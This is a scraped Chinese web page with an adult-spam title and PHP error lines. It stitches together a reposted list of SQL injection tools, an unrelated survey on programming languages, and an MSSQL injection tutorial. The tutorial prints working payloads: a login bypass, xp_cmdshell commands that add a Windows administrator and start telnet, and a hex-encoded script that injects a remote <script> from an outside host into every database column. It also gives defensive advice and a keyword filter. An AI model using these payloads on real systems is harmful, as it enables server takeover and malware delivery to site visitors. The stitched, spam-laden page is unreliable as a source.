Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 国产在线观看91精品2021,在线亚洲观看,国产91综合

          整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          網(wǎng)絡(luò)安全干貨分享 - 2022 年最佳 SQL 注入

          網(wǎng)絡(luò)安全干貨分享 - 2022 年最佳 SQL 注入檢測工具(轉(zhuǎn)載)

          近整理了一些奇安信&華為大佬的課件資料+課件筆記+面試課題,想要的可以私信自取,無償贈送給粉絲朋友~

          文章來源 :https://www.wljslmz.cn/1109.html

          SQL 注入 (SQLi) 是一種可以訪問敏感或私有數(shù)據(jù)的隱蔽攻擊形式,它們最早是在上世紀末被發(fā)現(xiàn)的,盡管它們的年齡很大,但它們經(jīng)常被用作黑客工具包中的一種有效技術(shù)。今天,給大家介紹一下頂級 SQLi 檢測工具。

          頂級 SQLi 檢測工具

          有很多 SQLi 檢測工具,其中許多是開源的,可在 GitHub 上找到,除了專門的 SQLi 檢測工具外,還有更大的套件和專有軟件包將 SQLi 作為其整體漏洞檢測功能的一部分。

          Netsparker

          Netsparker是一個 Web 漏洞管理解決方案,其中包括 SQLi 檢測作為其眾多功能之一,還專注于可擴展性、自動化和集成。

          該套件圍繞 Web 漏洞掃描器構(gòu)建,并且可以與第三方工具集成,操作員不需要熟悉源代碼。該公司還提供了一個SQL 注入備忘單來幫助緩解工作。

          Netsparker 平臺使用基于證明的掃描技術(shù)來識別和確認漏洞,指示絕對不是誤報的結(jié)果,除了 SQL 注入之外,它還可以識別 Web 應(yīng)用程序、Web 服務(wù)和 Web API 中的跨站點腳本 (XSS) 和其他漏洞。

          該平臺還具有安全測試工具和報告生成器,并且可以集成到 DevOps 環(huán)境中,它檢查 Apache、Nginx 和 IIS 等 Web 服務(wù)器,并支持基于 AJAX 和 JavaScript 的應(yīng)用程序。

          SQLMap

          SQLMap是 GitHub 上提供的自動 SQLi 和數(shù)據(jù)庫接管工具,這個開源滲透測試工具可以自動檢測和利用 SQLi 漏洞或其他接管數(shù)據(jù)庫服務(wù)器的攻擊。

          它包括一個檢測引擎;進行滲透測試的幾種方法;以及用于數(shù)據(jù)庫指紋識別、數(shù)據(jù)提取、訪問底層文件系統(tǒng)以及通過帶外連接在操作系統(tǒng) (OS) 上執(zhí)行命令的工具。

          jSQL Injection

          jSQL Injection是一種基于 Java 的工具,可幫助 IT 團隊從遠程服務(wù)器中查找數(shù)據(jù)庫信息,它是解決 SQLi 的眾多免費、開源方法中的另一種。它支持 Windows、Linux 和 Mac 操作系統(tǒng)以及 Java 版本 11-17。

          它是如此有效的 SQLi 威懾,以至于它包含在許多其他漏洞掃描和滲透測試產(chǎn)品和發(fā)行版中。這包括Kali Linux、Pentest Box、Parrot Security OS、ArchStrike和BlackArch Linux。

          它還提供 33 個數(shù)據(jù)庫引擎的自動注入,包括 Access、DB2、Hana、Ingres、MySQL、Oracle、PostgreSQL、SQL Server、Sybase 和 Teradata。它為用戶提供了解決多種注入策略和流程的方法,并提供了用于 SQL 和篡改的腳本沙箱。

          Havij

          Havij是由一家伊朗安全公司開發(fā)的,它提供了一個圖形用戶界面 (GUI),并且是一個自動化的 SQLi 工具,支持多種 SQLi 技術(shù),它在支持滲透測試人員發(fā)現(xiàn)網(wǎng)頁漏洞方面具有特殊價值,雖然它主要適用于 Windows,但也有一些變通方法可以讓它在 Linux 上運行。

          Burp

          Burp Suite中的 Web 漏洞掃描器使用 PortSwigger 的研究來幫助用戶自動發(fā)現(xiàn) Web 應(yīng)用程序中的各種漏洞,例如,Burp Collaborator 識別其目標和外部服務(wù)器之間的交互,以檢查傳統(tǒng)掃描程序不可見的錯誤,例如異步 SQL 注入和盲目的服務(wù)器端請求偽造 (SSRF)。

          Burp Scanner 中的爬網(wǎng)引擎位于 Burp Suite Enterprise Edition 和 Burp Suite Professional 等大型套件的核心,可消除跨站點請求偽造 (CSRF) 令牌、有狀態(tài)功能以及過載或易變 URL 等障礙。其嵌入式 Chromium 瀏覽器呈現(xiàn)和抓取 JavaScript。爬行算法以與測試人員類似的方式建立其目標的配置文件。

          Burp 還旨在處理動態(tài)內(nèi)容、不穩(wěn)定的互聯(lián)網(wǎng)連接、API 定義和 Web 應(yīng)用程序。此外,可以單獨或按組選擇掃描檢查,并且可以保存自定義配置 - 例如僅報告出現(xiàn)在 OWASP Top 10 中的漏洞的掃描配置。

          BBQSQL

          BBQSQL是一個基于 Python 的注入利用工具,它消除了編寫自定義代碼和腳本以解決 SQLi 問題的大量乏味。它主要用于處理更復(fù)雜的 SQL 注入漏洞。由于它是半自動的且與數(shù)據(jù)庫無關(guān),因此它簡化了定制并且相對易于使用。

          它還利用基于 Python 的工具來提高性能。用戶提供數(shù)據(jù),例如受影響的 URL、HTTP 方法和其他輸入作為設(shè)置的一部分。他們還必須指定注入的去向,以及注入的語法。

          Blisqy

          Blisqy處理 HTTP 標頭上基于時間的盲 SQL 注入。這種漏洞利用可通過盲 SQL 注入,對可打印的 ASCII 字符進行按位運算,從而從數(shù)據(jù)庫中抽取慢速數(shù)據(jù)。它支持 MySQL 和 MariaDB 數(shù)據(jù)庫。

          由于它是用 Python 編寫的,因此可以將其導(dǎo)入其他基于 Python 的腳本中。Blisqy 是一種快速有效的補償網(wǎng)絡(luò)延遲和其他延遲的方法,因為它的時間比較是動態(tài)的,并且在每次測試的運行時計算。

          Acunetix Web 漏洞掃描程序

          Invicti 的Acunetix將 SQL 注入測試作為其整體功能的一部分,即掃描基于 Web 的應(yīng)用程序。它的多線程掃描程序可以在 Windows 和 Linux 上快速爬取數(shù)十萬頁。它識別常見的 Web 服務(wù)器配置問題,并且特別擅長掃描 WordPress。

          它會自動創(chuàng)建所有網(wǎng)站、應(yīng)用程序和 API 的列表,并使其保持最新狀態(tài)。該工具還可以掃描 SPA、腳本繁重的網(wǎng)站以及使用 HTML5 和 JavaScript 構(gòu)建的應(yīng)用程序,并提供宏來自動掃描受密碼保護和難以到達的區(qū)域。

          Blind SQL Injection via Bit Shifting

          Blind SQL Injection via Bit Shifting通過使用位移方法計算字符而不是猜測字符來執(zhí)行 SQL 盲注入。位移位將位的位置向左或向右移動。例如,00010111 可以轉(zhuǎn)換為 00101110。盲 SQL 模塊每個字符需要七個或八個請求,具體取決于配置。

          Damn Small SQLi Scanner

          Damn Small SQLi Scanner (DSSS) 由 SQLMap 的創(chuàng)建者之一組成,是一個緊湊的 SQLi 漏洞掃描器,由不到 100 行代碼組成。除了用作漏洞掃描器之外,該工具還強調(diào)其執(zhí)行某些與占用大量代碼的工具相同的任務(wù)的能力。

          但是,正如其大小所預(yù)期的那樣,它具有一定的局限性。例如,它只支持 GET 參數(shù)而不支持 POST 參數(shù)。

          Leviathan

          Leviathan的特點是工具的大規(guī)模審計集合。因此,它包含一系列用于服務(wù)發(fā)現(xiàn)、暴力破解、SQL 注入檢測和運行自定義漏洞利用功能的功能。它內(nèi)部包含了幾個開源工具,包括masscan、ncrack和DSSS,可以單獨使用,也可以組合使用。

          此外,它還可以發(fā)現(xiàn)在特定國家或 IP 范圍內(nèi)運行的 FTP、SSH、Telnet、RDP 和 MySQL 服務(wù)。然后可以通過 ncrack 對發(fā)現(xiàn)的服務(wù)進行暴力破解。命令可以在受感染的設(shè)備上遠程運行。針對 SQLi 漏洞,它可以在帶有國家擴展名的網(wǎng)站上檢測到它們。

          NoSQLMap

          NoSQLMap是一個可用于審計的 Python 工具。它通常用于 SQL 注入攻擊的自動化,并用于發(fā)現(xiàn)NoSQL 數(shù)據(jù)庫和使用 NoSQL 從數(shù)據(jù)庫中披露或克隆數(shù)據(jù)的 Web 應(yīng)用程序中的默認配置漏洞。

          這個開源工具維護得很好,可以看作是 SQLMap 的表親。顧名思義,NoSQL 解決了與關(guān)系數(shù)據(jù)庫中使用的表格方法不同的數(shù)據(jù)模型。但是 NoSQL 數(shù)據(jù)庫確實支持類似 SQL 的查詢語言,因此受制于 SQLi。NoSQLMap 主要關(guān)注 MongoDB 和 CouchDB。未來的版本將擴大其曲目。

          Tyrant SQL

          Tyrant SQL是一個基于 Python 的 GUI SQL 注入工具,類似于 SQLMap。它的 GUI 允許更大的簡單性。這使得初學者更容易分析易受攻擊的鏈接并確定弱點所在。

          Whitewidow

          Whitewidow是另一個開源 SQL 漏洞掃描程序。由于它是自動化的,它可以快速運行一個長文件列表或從谷歌搜索潛在易受攻擊的網(wǎng)站。

          Whitewidow 還提供其他功能,例如自動文件格式化、隨機用戶代理、IP 地址、服務(wù)器信息和多 SQL 注入語法。該工具還提供了從其中啟動 SQLMap 的能力。

          然而,Whitewidow 與其說是一種補救工具,不如說是一種教育工具。它可以幫助用戶了解漏洞是什么樣的,但它依賴于 SQLMap 來獲得更強大的 SQLi 檢測功能。

          Explo

          Explo是一個基本工具,旨在以人類和機器可讀的格式描述 Web 安全問題。它定義了一個請求/條件工作流,允許它在無需編寫腳本的情況下利用安全問題。

          因此,它可以解決復(fù)雜的漏洞,并以簡單的可讀和可執(zhí)行格式共享它們。

          什么是 SQL 注入?

          結(jié)構(gòu)化查詢語言或 SQL 是一種在Microsoft SQL Server、Oracle、IBM DB2 和 MySQL 等關(guān)系數(shù)據(jù)庫中大量使用的語言。由于數(shù)據(jù)庫傾向于為企業(yè)托管敏感信息,惡意 SQL 注入可能導(dǎo)致敏感信息泄露、Web 內(nèi)容修改和數(shù)據(jù)刪除。

          然后,SQLi 會利用基于 SQL 的應(yīng)用程序中存在的漏洞。黑客將代碼注入 SQL 查詢,使他們能夠添加、修改和刪除數(shù)據(jù)庫項目。

          但受影響的不僅僅是數(shù)據(jù)庫。SQLi 可以傳播到連接到 SQL 數(shù)據(jù)庫的 Web 應(yīng)用程序和網(wǎng)站。根據(jù)開放 Web 應(yīng)用程序安全項目 (OWASP),注入是 Web 應(yīng)用程序最普遍的威脅。

          如何防止 SQL 注入?

          SQLi 攻擊執(zhí)行惡意 SQL 查詢,可用于繞過應(yīng)用程序安全性,避免授權(quán)和身份驗證登錄和系統(tǒng)。攻擊因數(shù)據(jù)庫引擎的類型而異。最常見的變體包括基于用戶輸入的 SQLi、基于 cookie 的 SQLi、基于 HTTP 標頭的 SQLi 和二階 SQLi。

          SQLi 的緩解和預(yù)防最初都是為了了解哪些應(yīng)用程序可能易受攻擊——這意味著任何與 SQL 數(shù)據(jù)庫交互的網(wǎng)站。漏洞掃描是評估您可能面臨風險的好方法。另一種方法是進行滲透測試。這本質(zhì)上是試圖闖入您的系統(tǒng)并找到任何可以利用的缺陷。

          版權(quán)申明:內(nèi)容來源網(wǎng)絡(luò),版權(quán)歸原創(chuàng)者所有。除非無法確認,都會標明作者及出處,如有侵權(quán),煩請告知,我們會立即刪除并致歉!

          什么是編程語言?"我總會問自己這個問題,SQL是嗎?Excel是嗎?HTML是嗎?……這些問題總在困擾著我們,所以有網(wǎng)站把這些疑問整理成問卷的形式,向各位網(wǎng)友征集了大家的想法。

          調(diào)查的結(jié)果正如我們所預(yù)期的那樣,絕大多數(shù)人都認同C、Java和JavaScript是編程語言,而其他選項的調(diào)查結(jié)果就有趣了很多:

          • Verilog:大多數(shù)人同意Verilog(硬件描述語言)是一種編程語言,他們認為即使軟件的輸出是硬件,但生成硬件的過程仍然是程序化的。

          • SQL:大多數(shù)人認為SQL是一個編程語言,但是很多人因為其缺乏完整性而提出了異議,SQL雖然沒有類和循環(huán),但其仍然有算術(shù)表達式、函數(shù)和變量。

          • C preprocessor:被調(diào)查者對于C preprocessor的興趣明顯要高于正則表達式,C preprocessor本質(zhì)上是一個字符串替換引擎,它比正則表達式的功能更少,只用于生成C代碼。但是,很多人認為是否被用來生成代碼是判斷是否為編程語言的關(guān)鍵因素。

          • LaTeX:咋一看,這是最接近編程語言的,LaTeX具有變量,函數(shù)和許多其他類PL功能(LaTeX是Turing-complete!),但是由于它的輸出是一個文檔,所以我并不看好大家會把它當做是一種編程語言。

          • 但是令人驚訝的是,它就排在C preprocessor之后。

          • CSS:進入Web語言時代之后,少數(shù)的受訪者也把CSS當做是一種編程語言。

          • TensorFlow:TensorFlow是一種具有變量、循環(huán)、編譯器等的數(shù)據(jù)流語言。然而,因為它是一種特定于領(lǐng)域的語言,而且沒有獨立的語法(它通常通過Python API編程),大多數(shù)被調(diào)查者并不認為它是一種編程語言。

          • HTML:可能和CSS的情況一樣。

          • JSON:JSON是一種數(shù)據(jù)規(guī)范語言,但是大多數(shù)人并不把它當做是編程語言。

          • Microsoft Word:GUI 不可能是編程語言!

          • Eclipse:看結(jié)果,很顯然并不是!

          對于上述調(diào)查結(jié)果列舉的,大家是否認為其屬于編程語言呢?歡迎在下方留言評論!

          業(yè)開始從事winfrm到今年轉(zhuǎn)到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關(guān)開發(fā)……必須的各種借口。這幾天把sql注入的相關(guān)知識整理了下,希望大家多多提意見。

          (對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗,為避免后知后覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

          下面的程序方案是采用 ASP.NET + MSSQL,其他技術(shù)在設(shè)置上會有少許不同。

          什么是SQL注入(SQL Injection)

          所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動態(tài)SQL命令,或作為存儲過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。

          嘗嘗SQL注入

          1. 一個簡單的登錄頁面

          關(guān)鍵代碼:

          privateboolNoProtectLogin(string userName, string password){int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}


          方法中userName和 password 是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會存在注入漏洞。(帳戶:admin 123456)

          1) 輸入正常數(shù)據(jù),效果如圖:


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′


          2) 輸入注入數(shù)據(jù):

          如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入


          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′


          因為UserName值中輸入了“–”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上‘; ‘ (分號,用于結(jié)束前一條語句),后邊加上‘–‘ (用于注釋后邊的語句))

          2. 上面是最簡單的一種SQL注入,常見的注入語句還有:


          1) 猜測數(shù)據(jù)庫名,備份數(shù)據(jù)庫

          a) 猜測數(shù)據(jù)庫名: and db_name() >0 或系統(tǒng)表master.dbo.sysdatabases

          b) 備份數(shù)據(jù)庫:;backup database 數(shù)據(jù)庫名 to disk=‘c:*.db’;–

          或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目錄bak.dat’ ,name=’test’;–

          2) 猜解字段名稱

          a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常

          b) 讀取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

          3) 遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)構(gòu)并發(fā)現(xiàn)WEB虛擬目錄(服務(wù)器上傳木馬)

          先創(chuàng)建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

          a) 利用xp_availablemedia來獲得當前所有驅(qū)動器,并存入temp表中

          ;insert temp exec master.dbo.xp_availablemedia;–

          b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

          ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–

          c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結(jié)構(gòu),并存入temp表中

          ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (實驗成功)

          d) 利用 bcp 命令將表內(nèi)容導(dǎo)成文件

          即插入木馬文本,然后導(dǎo)出存為文件。比如導(dǎo)出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)

          Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘


          (注意:語句中使用的是雙引號,另外表名格式為“數(shù)據(jù)庫名.用戶名.表名”)

          在sql查詢器中通過語句:Exec master..xp_cmdshell N’BCP’即可查看BCP相關(guān)參數(shù),如圖:


          4) 查詢當前用戶的數(shù)據(jù)庫權(quán)限

          MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          可通過1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到當前用戶是否具有該權(quán)限。

          5) 設(shè)置新的數(shù)據(jù)庫帳戶(得到MSSQL管理員賬戶)

          d) 在數(shù)據(jù)庫內(nèi)添加一個hax用戶,默認密碼是空

          ;exec sp_addlogin’hax’;–

          e) 給hax設(shè)置密碼 (null是舊密碼,password是新密碼,user是用戶名)

          ;exec master.dbo.sp_password null,password,username;–

          f) 將hax添加到sysadmin組

          ;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–

          6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )

          通過(5)獲取到sysadmin權(quán)限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫,可通過xp_cmdshell運行系統(tǒng)命令行(必須是sysadmin權(quán)限),即使用 cmd.exe 工具,可以做什么自己多了解下。

          下面我們使用xp_cmdshell來創(chuàng)建一個 Windows 用戶,并開啟遠程登錄服務(wù):

          a) 判斷xp_cmdshell擴展存儲過程是否存在

          SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=‘X’ AND name=’xp_cmdshell’


          b) 恢復(fù)xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;

          開啟后使用xp_cmdshell還會報下面錯誤:

          SQL Server 阻止了對組件 ‘xp_cmdshell’ 的過程 ‘sys.xp_cmdshell’ 的訪問,因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘xp_cmdshell’。有關(guān)啟用 ‘xp_cmdshell’ 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 “外圍應(yīng)用配置器“。

          通過執(zhí)行下面語句進行設(shè)置:

          — 允許配置高級選項EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 啟用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO


          c) 禁用xp_cmdshell擴展存儲過程

          Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;

          d) 添加windows用戶:

          Exec xp_cmdshell ‘net user awen /add’;

          e) 設(shè)置好密碼:

          Exec xp_cmdshell ‘net user awen password’;

          f) 提升到管理員:

          Exec xp_cmdshell ‘net localgroup administrators awen /add’;

          g) 開啟telnet服務(wù):

          Exec xp_cmdshell ‘net start tlntsvr’

          7) 沒有xp_cmdshell擴展程序,也可創(chuàng)建Windows帳戶的辦法.

          (本人windows7系統(tǒng),測試下面SQL語句木有效果)

          declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;


          在使用的時候會報如下錯:

          SQL Server 阻止了對組件 ‘Ole Automation Procedures’ 的過程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的訪問,因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 ‘Ole Automation Procedures’。有關(guān)啟用 ‘Ole Automation Procedures’ 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 “外圍應(yīng)用配置器“。

          解決辦法:

          sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO


          好了,這樣別人可以登錄你的服務(wù)器了,你怎么看?

          8) 客戶端腳本攻擊

          攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫中,當其他用戶瀏覽此內(nèi)容時就會受到惡意腳本的攻擊。

          措施:轉(zhuǎn)義提交的內(nèi)容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉(zhuǎn)換為HTML編碼的字符串。

          攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫中,直接使用SQL語法UPDATE數(shù)據(jù)庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉(zhuǎn)義,攻擊者會將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動態(tài)”SQL的特性運行腳本”。

          a) 向當前數(shù)據(jù)庫的每個表的每個字段插入一段惡意腳本

          Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor


          b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關(guān)鍵字檢查、腳本轉(zhuǎn)義等,通過EXEC執(zhí)行

          dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--


          c) 批次刪除數(shù)據(jù)庫被注入的腳本

          declare @delStrnvarchar(500)set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '數(shù)據(jù)庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off


          d) 我如何得到“HEX編碼”?

          開始不知道HEX是什么東西,后面查了是“十六進制”,網(wǎng)上已經(jīng)給出兩種轉(zhuǎn)換方式:(注意轉(zhuǎn)換的時候不要加入十六進制的標示符 ’0x’ )

          ? 在線轉(zhuǎn)換 (TRANSLATOR, BINARY),進入……

          ? C#版的轉(zhuǎn)換,進入……

          9) 對于敏感詞過濾不到位的檢查,我們可以結(jié)合函數(shù)構(gòu)造SQL注入

          比如過濾了update,卻沒有過濾declare、exec等關(guān)鍵詞,我們可以使用reverse來將倒序的sql進行注入:

          declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


          防止SQL注入

          1. 數(shù)據(jù)庫權(quán)限控制,只給訪問數(shù)據(jù)庫的web應(yīng)用功能所需的最低權(quán)限帳戶。

          如MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          2. 自定義錯誤信息,首先我們要屏蔽服務(wù)器的詳細錯誤信息傳到客戶端。

          在 ASP.NET 中,可通過web.config配置文件的節(jié)點設(shè)置:

          <customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>


          mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。

          On指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。Off指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。RemoteOnly指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示 ASP.NET 錯誤。這是默認值。


          看下效果圖:

          設(shè)置為一般性錯誤:


          設(shè)置為:



          3. 把危險的和不必要的存儲過程刪除


          xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執(zhí)行xp_cmdshell之類的擴展存儲過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。

          xp_cmdshell能執(zhí)行dos命令,通過語句sp_dropextendedproc刪除,

          不過依然可以通過sp_addextendedproc來恢復(fù),因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

          xpsql70.dll(sqlserer 7.0)

          xp_fileexist用來確定一個文件是否存在xp_getfiledetails可以獲得文件詳細資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得服務(wù)器名稱Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regread

          Xp_regremovemultistring

          Xp_regwrite

          可以訪問注冊表的存儲過程Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你不需要請丟棄OLE自動存儲過程


          4. 非參數(shù)化SQL與參數(shù)化SQL


          1) 非參數(shù)化(動態(tài)拼接SQL)

          a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉(zhuǎn)義字符轉(zhuǎn)換掉。

          b) 類型檢查:對接收數(shù)據(jù)有明確要求的,在方法內(nèi)進行類型驗證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數(shù)字等。

          c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。

          d) 使用枚舉:如果只有有限的幾個值,就用枚舉。

          e) 關(guān)鍵字過濾:這個門檻比較高,因為各個數(shù)據(jù)庫存在關(guān)鍵字,內(nèi)置函數(shù)的差異,所以對編寫此函數(shù)的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數(shù)還請留言分享下,學習學習,謝謝!

          這邊提供一個關(guān)鍵字過濾參考方案(MSSQL):

          public static bool ValiParms(string parms){ if (parms==null) { return false; } Regex regex=new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2=new Regex("'", RegexOptions.IgnoreCase); Regex regex3=new Regex("create ", RegexOptions.IgnoreCase); Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5=new Regex(""", RegexOptions.IgnoreCase); Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10=new Regex("select ", RegexOptions.IgnoreCase); Regex regex11=new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}


          優(yōu)點:寫法相對簡單,網(wǎng)絡(luò)傳輸量相對參數(shù)化拼接SQL小

          缺點:

          a) 對于關(guān)鍵字過濾,常常“顧此失彼”,如漏掉關(guān)鍵字,系統(tǒng)函數(shù),對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數(shù)據(jù)庫封裝函數(shù)。

